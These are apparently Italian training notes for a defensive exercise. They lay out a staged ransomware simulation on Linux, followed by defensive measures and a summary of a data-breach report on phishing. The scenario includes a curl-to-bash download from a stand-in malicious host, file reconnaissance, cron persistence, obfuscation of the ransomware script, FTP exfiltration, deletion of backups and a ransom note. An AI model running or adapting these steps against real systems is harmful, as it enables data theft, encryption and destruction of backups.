lunedì 25 novembre 2024 21:31

Traccia:

Crea un prompt che aiuti la tua organizzazione a implementare delle misure di sicurezza contro il ransomware partendo da una simulazione di attacco.

Scenario d'attacco avanzato: Operazione "DarkCry"
Obiettivo dello scenario:

1. **Testare la resilienza dei sistemi Linux contro un attacco ransomware avanzato.**
2. **Valutare la prontezza delle difese, inclusi backup, monitoraggio e risposta agli incidenti.**
3. **Simulare un attacco realistico con movimenti laterali, persistenza e offuscamento.**

Fasi dell'attacco
Fase 1: Infiltrazione iniziale

- **Tecnica: Phishing mirato con allegato malevolo o sfruttamento di una vulnerabilità nota (es. servizio esposto).**
- **Simulazione:**
  1. **Crea uno script malevolo in Python/Bash.**
  2. **Fai in modo che venga eseguito da un "utente inconsapevole" (es. un cron job programmato per simularne l'attivazione).**
  3. **Esempio di attivazione tramite un comando di phishing simulato:**

     bash
     curl http://malicious-server.com/malware.sh | bash

Fase 2: Ricognizione

- **Tecnica: Identificare directory sensibili, backup, file di configurazione.**
- **Simulazione:**
  Utilizza uno script Python che:
  - **Esplora directory sensibili (/home, /var, /etc).**
  - **Cerca file con estensioni target (es. .conf, .txt, .log).**
  - **Esempio:**

```
python
import os
TARGET_EXTENSIONS = ['.txt', '.conf', '.log']
def reconnaissance(directory):
  for root, _, files in os.walk(directory):
    for file in files:
      if any(file.endswith(ext) for ext in TARGET_EXTENSIONS):
        print(f"File trovato: {os.path.join(root, file)}")
reconnaissance("/home")
```

Fase 3: Crittografia

- **Tecnica: Crittografia dei file identificati con chiave simmetrica.**
- **Simulazione:**
  - **Usa Fernet o OpenSSL per crittografare i file.**
  - **Sovrascrivi i file originali con quelli crittografati.**
  - **Rendi i file irrecuperabili senza la chiave.**

Fase 4: Persistenza

- **Tecnica: Creare un cron job o un servizio di sistema che riavvii il ransomware al reboot.**
- **Simulazione:**
  - **Crea un cron job con Python:**

    ```
    python
    import subprocess
    persistence_command = '@reboot python3
    /home/test_directory/ransomware_simulation_advanced.py'
    subprocess.run(f"(crontab -l; echo '{persistence_command}') |
    crontab -", shell=True)
    ```
  - **Alternativamente, crea un servizio systemd.**

Fase 5: Offuscamento

- **Tecnica: Camuffare il codice e rendere difficile la rilevazione.**
- **Simulazione:**
  - **Usa nomi di file innocui (es. update_patch.sh).**
  - **Rendi lo script meno leggibile con strumenti di offuscamento Python come pyarmor:**

    ```
    bash
    pip install pyarmor
    pyarmor pack -x 3 ransomware_simulation_advanced.py
    ```

Fase 6: Esfiltrazione dei dati

- **Tecnica: Copiare file sensibili prima della crittografia per aumentare**

la pressione.

- **Simulazione:**
  - **Usa un servizio simulato di upload (es. un server FTP di test).**
  - **Esempio:**

```
python
from ftplib import FTP
ftp = FTP('127.0.0.1')
ftp.login('user', 'password')
with open('/home/test_directory/file.txt', 'rb') as f:
    ftp.storbinary('STOR file.txt', f)
ftp.quit()
```

Fase 7: Eliminazione dei backup

- **Tecnica: Rimuovere snapshot o file di backup.**
- **Simulazione:**
  - **Identifica directory di backup o usa comandi come:**

```
bash
rm -rf /home/test_directory/backup
```

Fase 8: Richiesta di riscatto

- **Tecnica: Lasciare una nota con istruzioni per il pagamento.**
- **Simulazione:**
  - **Crea un file README_FOR_RECOVERY.txt in ogni directory crittografata.**
  - **Contenuto esempio:**

```
css
I tuoi file sono stati crittografati!
Per recuperarli, invia 1 BTC a questo indirizzo: 123abc456def.
Contatta: fake@ransomware.com
```

Implementazioni generali

Formazione del personale:

Simulazioni regolari di phishing e programmi di sensibilizzazione.

Backup regolari:

Backup giornalieri offline e test periodici del ripristino.

Mantenere una copia crittografata dei dati critici offsite.

Zero Trust Architecture:

Ogni utente, dispositivo e applicazione deve essere verificato

continuamente.

Simulazioni periodiche di attacco:

Eseguire penetration test regolari per identificare vulnerabilità**.**

Incident Response Plan (IRP):

Un piano dettagliato che definisce le azioni da intraprendere in caso di attacco**.**

Facoltativo:

1. Scarica l'ultimo Data Breach Investigations Report (DBIR) di Verizon (non richiede registrazione): https://www.verizon.com/business/resources/reports/dbir/
2. Chiedi a ChatGPT un riassunto del report
3. Chiedi le informazioni su phishing e social engineering contenute nel report

Il **2024 Data Breach Investigations Report** (DBIR) fornisce una panoramica dettagliata delle tendenze in ambito di violazioni dei dati, inclusi attacchi di phishing e ingegneria sociale. Di seguito una sintesi delle sezioni principali rilevanti:

Phishing

- **Frequenza**: Il phishing continua a essere un vettore primario per gli attacchi, in particolare per acquisire credenziali e dati sensibili.
- **Comportamento degli utenti**:
  - Nel 2023, il 20% degli utenti ha segnalato e-mail di phishing in simulazioni di esercitazione.
  - Tuttavia, il tempo medio per cliccare su un link malevolo è stato di soli 21 secondi, con ulteriori 28 secondi necessari per inserire dati compromettenti.
  - Il tempo complessivo per cadere in uno schema di phishing è inferiore a 60 secondi.
- **Obiettivi principali**: Email aziendali, credenziali di accesso e accesso a sistemi collaborativi cloud-based sono i target principali.

Social Engineering

- **Ingegneria sociale**: Rappresenta una tecnica che sfrutta la manipolazione psicologica per indurre le persone a compiere azioni o divulgare informazioni riservate.
- **Tipologie principali**:
  - **Pretexting**: Tecnica avanzata che spesso si traduce in compromissioni di email aziendali (BEC - Business Email

Compromise).
    - **Phishing tradizionale**: Rimane diffuso ma il pretexting sta diventando sempre più comune, con una crescita significativa rispetto al passato.
- **Settori colpiti**: La maggior parte dei settori industriali è vulnerabile a queste minacce, con una crescente attenzione ai settori finanziari e pubblici.

Raccomandazioni

- **Formazione**: Incrementare la consapevolezza degli utenti è fondamentale per ridurre il numero di violazioni causate dal fattore umano.
- **Automazione della sicurezza**: Ridurre la dipendenza da processi manuali che possono essere sfruttati dagli attori delle minacce.
- **Protezione delle applicazioni web**: Questi strumenti sono spesso il punto d'ingresso per attacchi che utilizzano vulnerabilità note.